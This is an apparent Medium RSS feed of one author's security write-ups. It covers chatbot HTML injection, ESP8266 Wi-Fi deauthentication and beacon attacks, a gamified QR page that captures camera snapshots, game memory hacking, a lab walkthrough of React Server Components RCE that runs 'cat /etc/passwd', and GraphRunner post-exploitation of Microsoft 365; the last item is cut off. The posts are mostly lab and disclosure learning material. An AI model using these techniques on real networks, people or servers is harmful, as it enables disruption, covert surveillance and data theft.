<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ArshadKhanShajahan on Medium]]></title>
        <description><![CDATA[Stories by ArshadKhanShajahan on Medium]]></description>
        <link>https://medium.com/@akarshad428?source=rss-7a6d5d45e315------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*25kaUMxykzwKanz41nvxng.jpeg</url>
            <title>Stories by ArshadKhanShajahan on Medium</title>
            <link>https://medium.com/@akarshad428?source=rss-7a6d5d45e315------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 02:04:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@akarshad428/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTML Injection — User Interface Manipulation Leading to Phishing Risk]]></title>
            <link>https://medium.com/@akarshad428/html-injection-user-interface-manipulation-leading-to-phishing-risk-b47b87475b85?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/b47b87475b85</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 04:51:51 GMT</pubDate>
            <atom:updated>2026-07-07T04:51:51.238Z</atom:updated>
            <content:encoded><![CDATA[<p>During a recent Vulnerability Disclosure Program (VDP) assessment, I identified an HTML Injection vulnerability that allowed attacker-controlled HTML content to be rendered within the application’s trusted chatbot interface. During testing, even simple HTML elements such as &lt;h1&gt; tags were interpreted and rendered by the application instead of being displayed as plain text. This behaviour confirmed that user-supplied input was not being properly sanitized or output encoded before rendering, enabling an attacker to manipulate the chatbot&#39;s interface with arbitrary HTML content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVOzTzYwR8LD1aN6n-I7Xw.png" /><figcaption>Basic HTML Injection</figcaption></figure><p>While interacting with the chatbot using normal user queries, I observed that the conversation was handled by a backend support agent integrated into the chat interface.</p><p>To further assess the impact of the vulnerability, I experimented with embedding external hyperlinks and webhook URLs within the injected HTML. The objective was to observe how the integrated support agent handled attacker-controlled content. I also embedded a webhook URL within a clickable HTML element to determine whether it would be rendered as an active hyperlink.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KOXFaF2HqWhVib4XEnIaNA.png" /><figcaption>External hyperlinks and webhook URL’s</figcaption></figure><p>The agent rendered the injected hyperlink in its response, allowing agent user to be redirected to an externally controlled webhook URL. Upon accessing the link, the webhook successfully recorded the user’s public IP address, confirming the potential impact of the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUwbT31eBjPUQbrNt9m-Zw.png" /><figcaption>Agent user interaction</figcaption></figure><p>When the injected link was accessed, the webhook successfully captured the user’s public IP address, demonstrating that an attacker could collect basic client connection information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RYNybwQooWZFE5PwiZAIA.png" /><figcaption>Agent users public IP and location</figcaption></figure><p>However, on the client side I received the following response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivPQxgaudy8OB6HkwSY00g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b47b87475b85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wi-Fi Deauthentication and Beacon Attack Testing Using ESP8266]]></title>
            <link>https://medium.com/@akarshad428/wi-fi-deauthentication-and-beacon-attack-testing-using-esp8266-bd25906f95db?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd25906f95db</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Fri, 05 Jun 2026 09:49:29 GMT</pubDate>
            <atom:updated>2026-06-05T09:49:29.852Z</atom:updated>
            <content:encoded><![CDATA[<p>ESP8266 NodeMCU is a compact and affordable Wi-Fi-enabled microcontroller widely used in Internet of Things (IoT) and wireless networking projects. Its simplicity, flexibility make it a popular choice among developers, students, and security researchers for experimenting with smart automation and wireless communication concepts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*ddO28hAanfNjvMvC_TBmYQ.png" /><figcaption>ESP8266 Module</figcaption></figure><p>In this project, the objective is to explore Wi-Fi management frame behaviour by using the ESP8266 NodeMCU in a controlled personal lab environment to study deauthentication and beacon-based wireless testing techniques. The project focuses on understanding how wireless devices interact with nearby access points and how Wi-Fi management frames operate in real-world scenarios.</p><p>For setup guidance, firmware installation, and detailed documentation, the primary reference used was<a href="https://docs.spacehuhn.com/deauther/?utm_source=chatgpt.com"> </a><a href="https://docs.spacehuhn.com/deauther">Spacehuhn Deauther Documentation</a>, which provides comprehensive information about configurations, supported hardware, and wireless testing features.</p><p><strong>Getting Started</strong></p><p>The first step is to download the required firmware for the ESP8266 NodeMCU device. For this setup, the USB Deauther firmware was selected, as it provides an easy-to-use interface and supports the necessary wireless testing features for the lab environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfANObS0NsFwWUlHVVkQDg.png" /><figcaption>Reference documents</figcaption></figure><p>Connect the module to the system using a USB cable and proceed with flashing the downloaded firmware onto the device. Once the flashing process is completed successfully, the module will be ready for further configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrM0Cgm86TrY7bv7D7qxIg.png" /><figcaption>Module connectivity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gje8FnHXpfWzLOjjIUOfZA.png" /><figcaption>Connected successfully</figcaption></figure><p>Flash the Deauther firmware into the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQn0MTWkmQjfIVKkexvi4w.png" /><figcaption>Flashing the required firmware</figcaption></figure><p>After flashing the firmware, serial terminal connectivity was established successfully, allowing direct terminal access to the NodeMCU module for monitoring device activity, verifying configurations, and interacting with the firmware interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKaOu3uwIvIcDYOJY2RE2Q.png" /><figcaption>Terminal Access</figcaption></figure><p>A basic scan was performed, which successfully detected and displayed the available nearby Wi-Fi access points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nwBmexaKM2OOAeuUyPWyw.png" /><figcaption>Access points discovery</figcaption></figure><p>For connecting and accessing the web interface first you have to connect the ‘pwned’ network and connect using the given creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*dPyvXn_jtqZCnXb1mkrhSg.png" /><figcaption>Module connectivity network</figcaption></figure><p>After connecting successfully, the Deauther web interface became accessible through the assigned local IP address, allowing interaction with the available wireless testing and configuration features provided by the firmware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rO0fLDNy7wxjfBNFYRmpLQ.png" /><figcaption>Web interface</figcaption></figure><p>From the scan module we can scan the access points and stations within the range of the given NodeMCU module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAP_OJFdkj1EqaFMyCelHg.png" /><figcaption>AP dicovery scans</figcaption></figure><p>To begin the testing process, the target access point was first selected from the list of detected Wi-Fi networks available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5337Xfqz5ColMc025xKMg.png" /><figcaption>Target AP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNR5sBfd9lqegSQ3hFnGLA.png" /><figcaption>Starting DeAuth Attack</figcaption></figure><p>Serial Terminal showing detailed logs and showing the deauth frame packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTodD9xQmGMRbqRhQ09yYw.png" /><figcaption>Deauth packet logs</figcaption></figure><p>Once the deauthentication testing process was initiated, devices connected to the selected wireless network experienced repeated disconnections and were unable to reconnect until the attack was stopped. This demonstrates how Wi-Fi management frames can affect client connectivity in unsecured or unprotected wireless environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*2AVSQ9dsmzU3wD_kQRpobQ.png" /><figcaption>After Deauth attack all devices get disconnected from the target network</figcaption></figure><p>To initiate the beacon based attack, the target access point information was first cloned within the interface, followed by configuring the required number of beacon entries to be broadcast during the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*329eUmtiYu9DvuOdchhGng.png" /><figcaption>Required beacon entires adding</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4bYEJTxZ1dZhYGU6SmD2LA.png" /><figcaption>Starts Beacon attack</figcaption></figure><p>The serial terminal displayed the ongoing beacon broadcast logs in real time, while the cloned wireless network names became visible during scanning, confirming that the configured beacon entries were being transmitted successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptB8tqCci86zjFSofrlmUw.png" /><figcaption>Cloned Wi-Fi networks generated</figcaption></figure><p><strong>Recommendations and Remediation</strong></p><p>Wireless networks can be vulnerable to management frame-based attacks such as deauthentication and fake beacon broadcasting if proper security protections are not enabled. To improve wireless security and reduce the impact of such attacks, organizations and users should implement modern Wi-Fi security standards, regularly update networking devices, and continuously monitor for suspicious wireless activity.</p><p>● Enable WPA3 security for wireless networks.</p><p>● Use Protected Management Frames (802.11w) where supported.</p><p>● Avoid outdated encryption methods such as WEP.</p><p>● Keep router firmware and wireless devices updated.</p><p>● Monitor for suspicious wireless activity and rogue access points.</p><p>● Regularly review router logs and connected devices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd25906f95db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scan. Spin. Capture. — Exploring Browser Camera Permissions in Action]]></title>
            <link>https://medium.com/@akarshad428/scan-spin-capture-exploring-browser-camera-permissions-in-action-7b21c343ea33?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b21c343ea33</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Fri, 22 May 2026 11:33:34 GMT</pubDate>
            <atom:updated>2026-05-22T11:33:34.355Z</atom:updated>
            <content:encoded><![CDATA[<p>A few days back, while exploring phishing techniques and suspicious interaction detection mechanisms, I came across Canarytokens tool✨ . The tool is lightweight detection mechanisms used to identify unauthorized access, insider threats, phishing activity, or suspicious interaction with sensitive resources. They function as digital tripwires that generate alerts whenever the token is accessed, triggered, or interacted with, helping security teams detect potential intrusion attempts or unauthorized activity at an early stage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YumXmyANokuvnX1XbaLcow.png" /><figcaption>Process Workflow</figcaption></figure><p><strong>🚀Overview:</strong></p><p>“Scan. Spin. Capture.” is a browser-based security project built using Python Flask, JavaScript, HTML/CSS, and the MediaDevices API. The application uses a QR-code-driven workflow where users scan a QR code that redirects them to a publicly exposed Flask server hosted through Ngrok.</p><p>The web application presents an interactive spin wheel 👀 interface and requests browser camera permissions using JavaScript’s navigator.mediaDevices.getUserMedia() API. Once permission is granted by the user, the application captures a snapshot through the browser, converts it into Base64 format using the Canvas API, and securely transfers it to the Flask backend for storage.</p><p><strong>🚀Application Workflow:</strong></p><p>The project workflow begins with generating a QR code containing the publicly exposed Ngrok URL pointing to the Flask application. Once a user scans the QR code using a mobile device, the browser automatically redirects to the hosted web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uw4paenhJ53KpR171hj5rQ.png" /><figcaption>Flask code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_lzf7PrBMRWVZxuSeLDHA.png" /><figcaption>Spin wheel content</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/0*9GPqG3DC0pDiTYe4.gif" /></figure><p>Hosting the Flask app locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyqebP0qONpGIHSLkSD0Uw.png" /><figcaption>Flask app hosting</figcaption></figure><p>The landing page presents a gamified “Spin Wheel” interface designed to encourage user interaction in a realistic manner. Upon interacting with the spin button, the frontend JavaScript initiates a browser permission request using the MediaDevices API.</p><p>The captured frame is converted into Base64 format and transmitted to the Flask backend through an HTTP POST request. The backend decodes the image data and stores the snapshots locally for analysis and demonstration purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8qCmvq2fzg3p8zOZwJk0Lw.png" /><figcaption>Captured image processing code</figcaption></figure><p><strong>🚀Public Exposure Using Ngrok:</strong></p><p>Since the Flask application was hosted locally, Ngrok was used to expose the application to external devices over the internet.</p><p>Ngrok generated a temporary public HTTPS URL which was embedded inside the QR code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaKJNHe_kD067cCEbi3BHg.png" /><figcaption>Ngrock tunneling</figcaption></figure><p>This allowed:</p><p>Mobile devices to access the application remotely, real-time interaction testing, public accessibility without router port forwarding</p><p><strong>🚀During testing, several browser security behaviours were observed:</strong></p><p>⭕Browsers strictly require user interaction before permission prompts are displayed.</p><p>⭕Camera access cannot occur silently without explicit approval.</p><p>⭕Modern mobile browsers clearly indicate hardware access through visual indicators.</p><p>⭕HTTPS plays a significant role in permission handling behaviour.</p><p>Users frequently grant permissions without fully reviewing prompts when presented through interactive UI elements.</p><p><strong>🚀Interaction Simulation and Analysis:</strong></p><p>The primary goal of this project was not exploitation, but rather understanding interaction flow and browser permission awareness in realistic web environments.</p><p>As first we generate the QR code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Wj3ayuL_uyqGApIULTqeg.png" /><figcaption>QR generator</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*bqXwsAphzptqb6h_NDu4wA.png" /><figcaption>QR Code</figcaption></figure><p>When the user scans the QR code using a mobile device camera or QR scanner application, will automatically redirects the user to the publicly exposed Flask application hosted through Ngrok. And here the camera permission is asked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*e4_6D606DWoI8HCk2CDiGw.png" /><figcaption>App interface seen for user</figcaption></figure><p>After interaction, JavaScript triggers the MediaDevices API request, the browser then displays the native camera permission popup requesting user approval.</p><p>If the user approves the request:</p><p>⭕The browser initializes the camera stream</p><p>⭕The application gains temporary access to the device camera</p><p>⭕Browser hardware indicators become active</p><p>The user clicks the “Spin” button to interact with the application.This action acts as the required browser gesture needed before sensitive APIs such as camera access can be requested.</p><p>After the live camera stream becomes active, the application captures a frame from the video feed using the HTML5 Canvas API.</p><p>The captured frame is:</p><p>⭕Rendered onto a hidden canvas</p><p>⭕Converted into Base64 image format</p><p>⭕Sent securely to the Flask backend for storage and analysis</p><p>Using Ngrok, it also provides a built-in local web interface that lets you monitor all incoming HTTP/HTTPS requests going through the tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kP_F2njtZL-N7s299BvvnA.png" /><figcaption>Ngrock Local Web Interface capturing the snapshot details</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bdm-s3ipBBpRzbZK1PEdaw.png" /><figcaption>Captured images stored successfully</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTCLQTloUgyiXaYt9y95vg.png" /><figcaption>User image while doing the spinning game</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/0*5agdTmXzsduG0K4l.gif" /></figure><p><strong>🚀The project demonstrates how:</strong></p><p>⭕QR codes can be used as interaction entry points</p><p>⭕Gamified interfaces increase engagement</p><p>⭕Browser APIs enforce permission boundaries</p><p>⭕Users respond to permission prompts under interactive scenarios</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70nOvqcwjb2PUnhRylRTxQ.png" /><figcaption>Overall flow in detail</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*Jnj1AFTq7mTXq5Jc.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b21c343ea33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Runtime Memory Analysis and Manipulation in a Game Application Using Cheat Engine]]></title>
            <link>https://medium.com/@akarshad428/runtime-memory-analysis-and-manipulation-in-a-game-application-using-cheat-engine-2bb9e4bdeb56?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bb9e4bdeb56</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Sat, 31 Jan 2026 11:17:27 GMT</pubDate>
            <atom:updated>2026-01-31T11:17:27.343Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, I completed the Fundamentals of Game Hacking and Development course offered by Red Team Leaders, which provided hands-on exposure through real-world examples. The course introduced foundational concepts including reverse engineering, DLL injection, and basic evasion techniques, making it well suited for beginners in game hacking and reverse engineering.</p><p>In this analysis, runtime memory behaviour is examined to understand how gaming applications store and update data during execution. Key in-game attributes such as health and ammunition are maintained in memory and change dynamically in response to user actions and in-game events.</p><p>As first installed Assault Cube and configured the Cheat Engine scanner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23GrV2hC1sA2mpJpSLTMMA.png" /><figcaption>Assault Cube</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PaydnLm3NGRzu7zF2KqHMA.png" /><figcaption>Cheat Engine scanner for memory scanning and injections</figcaption></figure><p>A basic scan was initially performed using the player’s current health value to identify relevant memory addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_RyryTCMhNQm3NUzMH1pQ.png" /><figcaption>Current health value assigned for the initial scan</figcaption></figure><p>And here we got a list of memory address and now we need to identify the exact memory address for the health, so make a heath damage for the player in the game.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0j7-KoUJTBUjgE7uFfidg.png" /><figcaption>Health damage done, current health ‘44’</figcaption></figure><p>Now from the Cheat Engine we have initiated a new scan with the updated health value or the scan value as ‘44’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8d_xChMUmXZOvEJtDZ6AJw.png" /><figcaption>Scan completed and identified the health memory address</figcaption></figure><p>The identified memory address was then added for monitoring, and its value was modified to a desired level to observe the effect in real time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d62G_M737PxrWQ9Ehamqbw.png" /><figcaption>Health value set as 1000</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I26wz1gv9Majdifg655itA.png" /><figcaption>Value given</figcaption></figure><p>The modified value was successfully reflected in the game, resulting in increased health and effectively achieving an infinite health state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQdw1TNH5L8PWYulhqkd2g.png" /><figcaption>Health updated</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*_az2DA721N7iZ2zZejyqtA.gif" /></figure><p>Browsing the memory region for the identified memory address for further evaluation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eONdHSx7dXiBnBUPFIwGMg.png" /><figcaption>Memory region detailing</figcaption></figure><p>A pointer scan was initiated on the identified health address to analyze potential pointer paths and ensure address stability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZTGY8vykEE0KeneCB2E5Q.png" /><figcaption>Pointer scanning configuration</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*DMEZwj9BR8sEFqytSIr-ZQ.png" /><figcaption>Pointer scan result</figcaption></figure><p>Same for the ammo part as well we can have infinity ammo, then changing the value as 800.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sT_RAe19yf5UE4CIsWFacw.png" /><figcaption>Ammo memory address identified</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yM40PDfKr6zpMvOyUFIBTg.png" /><figcaption>Ammo value reflected</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*x_7zhBUHrTDtJ4rbZIuNQA.gif" /></figure><p>Reverse Engineering the Health Logic : the health management logic was analyzed by using Cheat Engine to identify the relevant memory address and monitoring its behaviour through debugger-based scanning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDTeWLhy08r8Jfhtfuk9EA.png" /><figcaption>Disassembler</figcaption></figure><p>Here we can evaluate the health logic and trying to patch the health decreasing logic as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GydK1nxRBRNmEpD0QFJnw.png" /><figcaption>Disassembler information</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hbhx9Q30pEJ9YSxrAK0hNw.png" /><figcaption>Patching the instuction</figcaption></figure><p>This is only a basic overview of the memory manipulation concepts covered in the course. In addition to this, the course included several advanced modules such as reverse engineering, DLL injection, code injection techniques, game architecture analysis, as well as evasion and obfuscation methodologies.</p><p>This is just a brief introduction to the course — many more modules and advanced concepts are explored in detail.</p><p><a href="https://courses.redteamleaders.com/courses/c0f369dc-356d-4362-8942-b5446e02164b">https://courses.redteamleaders.com/courses/c0f369dc-356d-4362-8942-b5446e02164b</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*5_lfg1odqjbrcketIjf3MQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bb9e4bdeb56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React2Shell: CVE-2025–55182 — Exploitation]]></title>
            <link>https://medium.com/@akarshad428/react2shell-cve-2025-55182-exploitation-1abfb62dc0b6?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/1abfb62dc0b6</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Sat, 06 Dec 2025 07:44:21 GMT</pubDate>
            <atom:updated>2025-12-06T07:44:21.027Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>React2Shell: CVE-2025–55182 — Exploitation</strong></h3><p>React2Shell (CVE‑2025‑55182) is a high‑severity Remote Code Execution (RCE) vulnerability affecting applications that utilize React Server Components (RSC) within the Next.js framework. The issue arises from insecure deserialization of specially crafted RSC multipart payloads, allowing attackers to smuggle malicious objects into the server’s internal processing logic. By manipulating prototype fields and abusing access to dangerous JavaScript primitives such as constructor.constructor() or internal server execution paths, an attacker can trigger arbitrary server‑side code execution. Successful exploitation enables full compromise of the application environment, including execution of OS‑level commands, unauthorized data access, lateral movement, and potential takeover of the underlying server infrastructure.</p><p>I used the same room on THM for the purpose of learning and further exploitation.</p><p><a href="https://tryhackme.com/room/react2shellcve202555182">https://tryhackme.com/room/react2shellcve202555182</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*USJThvgfv6PjNkpJBKVsXA.png" /><figcaption>THM room</figcaption></figure><p><strong>Exploitation of this vulnerability allows an attacker to:</strong></p><p>Execute arbitrary system commands on the server (RCE)</p><p>Read sensitive files (e.g., /etc/passwd, application secrets, environment variables)</p><p>In vulnerable deployments, exploitation may be unauthenticated, resulting in a full-system compromise with a single malicious request.</p><p><strong>Exploitation:</strong></p><p>The exploitation leverages a flaw in how React Server Components (RSC) multipart payloads are deserialized on the server. By manipulating the __proto__ chain, the attacker injects a malicious constructor.constructor reference into the RSC object structure.</p><p>In detail payload abuses the server’s deserialization of RSC multipart payloads by polluting the prototype (__proto__) and injecting a malicious constructor.constructor function, allowing arbitrary JavaScript execution via Node.js child_process.execSync. The payload executes OS commands, such as id, and returns the output in a forced error digest, effectively enabling remote code execution on the server through a single malicious request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UT3M-882uDU6ZpjxHC-ljQ.png" /><figcaption>Command injection</figcaption></figure><p>Retrieving the server’s current system date and time by executing the date command through the RSC deserialization exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mfXffSDBWr1iaaY6fKkLuA.png" /><figcaption>Server current date</figcaption></figure><p>This injected _prefix tries to force the server to run a system command (cat /etc/passwd) through child_process.execSync.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bivqzWDkH5fBHLol8w0LIA.png" /><figcaption>File system access</figcaption></figure><p>Fetching the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szX24Ud8jTAA-NobxMvJaw.png" /><figcaption>Final flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1abfb62dc0b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GraphRunner Tool based post exploitation]]></title>
            <link>https://medium.com/@akarshad428/graphrunner-tool-based-post-exploitation-74879f04546e?source=rss-7a6d5d45e315------2</link>
            <guid isPermaLink="false">https://medium.com/p/74879f04546e</guid>
            <dc:creator><![CDATA[ArshadKhanShajahan]]></dc:creator>
            <pubDate>Sun, 12 Oct 2025 03:43:53 GMT</pubDate>
            <atom:updated>2025-10-12T03:43:53.232Z</atom:updated>
            <content:encoded><![CDATA[<p>GraphRunner is a post-exploitation and red team tool designed to interact with Microsoft Graph API using access tokens, client secrets, or refresh tokens. It allows attackers and defenders alike to automate actions within Microsoft Entra ID once they have valid credentials or tokens. The tool can perform operations such as enumerating users, groups, applications, roles, and permissions, as well as adding users to groups, assigning application permissions, and accessing mailboxes or OneDrive data depending on the granted Graph permissions.</p><p>Tool: https://github.com/dafthack/GraphRunner</p><p>Lab: https://pwnedlabs.io/labs/loot-exchange-teams-sharepoint-with-graphrunner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_XJlf_MykxZ37_adwIxig.png" /></figure><p>So in this first I have tried to use the modules available under this tool for covering various post exploitation features.</p><p>Using the Get-GraphTokens module to perform primary user authentication and obtain Microsoft Graph access tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_0wWe9VCRik-jC5JGIRjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUrc0Hw3B-V4ISJcPP2V1g.png" /><figcaption>User auth</figcaption></figure><p>General reconnaissance using the Azure AD Graph API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHP9QjUeAilbVsEjl-x-zA.png" /><figcaption>Recon</figcaption></figure><p>Identifying groups configured with dynamic membership.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxCLfQ689vPLJdrAR1toNQ.png" /><figcaption>Dynamic groups</figcaption></figure><p>Retrieves a list of SharePoint site URLs available for the current authenticated user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LQoPhW3xxitH-uFAg4ZrEQ.png" /><figcaption>SharePoint available URL’s</figcaption></figure><p>Executes a search query for specified terms across all SharePoint and OneDrive resources accessible to the currently authenticated user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3YYOeQpw01Mp8avRs_kRw.png" /><figcaption>Search across SharePoint and OneDrive</figcaption></figure><p>Executes a search for specified terms across the user’s mailbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZLI23ynGj23bNYH8ywipA.png" /><figcaption>Search across mailbox</figcaption></figure><p>Searches all team messages across every channel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZIuuG2rVjEIm524uILgfw.png" /><figcaption>Teams messages</figcaption></figure><p>Retrieving the most recent emails from the user’s inbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4bRTxfR5tliuXv28qC-bQA.png" /><figcaption>Recent emails for the logged in user</figcaption></figure><p>Listing all accessible teams channels.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kftXw8ffeRyxVWBZyKwDZA.png" /><figcaption>Accessible teams channels</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaBuEpPCaY60X2AVTViRRA.png" /></figure><p>Enumerating full list of users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rSUoXK1i2ut1kEtu15D-kA.png" /><figcaption>User enum</figcaption></figure><p>HTML GUI is also available for GraphRunner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LkHoNwzbv1tcYXaSvqHaEQ.png" /><figcaption>GraphRunner HTML GUI build</figcaption></figure><h4><strong>— — — — — — — — — — — — -Lab Flow is like — — — — — — — — — — — -</strong></h4><p>Searched SharePoint and OneDrive accessible to the user with the search term as ‘username’ and found passwords.xlsx and finance logins.docx files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*83JkKB9L6MwHDTF5lT8ddw.png" /><figcaption>Search term results in the above sensitive files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smy46SCMFXPo9x2oeT4PbA.png" /><figcaption>Password file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zZjCmnqa1WIC3kVyeBXF3A.png" /><figcaption>Finance login</figcaption></figure><p>Executed a keyword search across SharePoint and OneDrive content accessible to the user using the search term <strong>‘</strong>bonus<strong>’</strong>; resulting the search returned 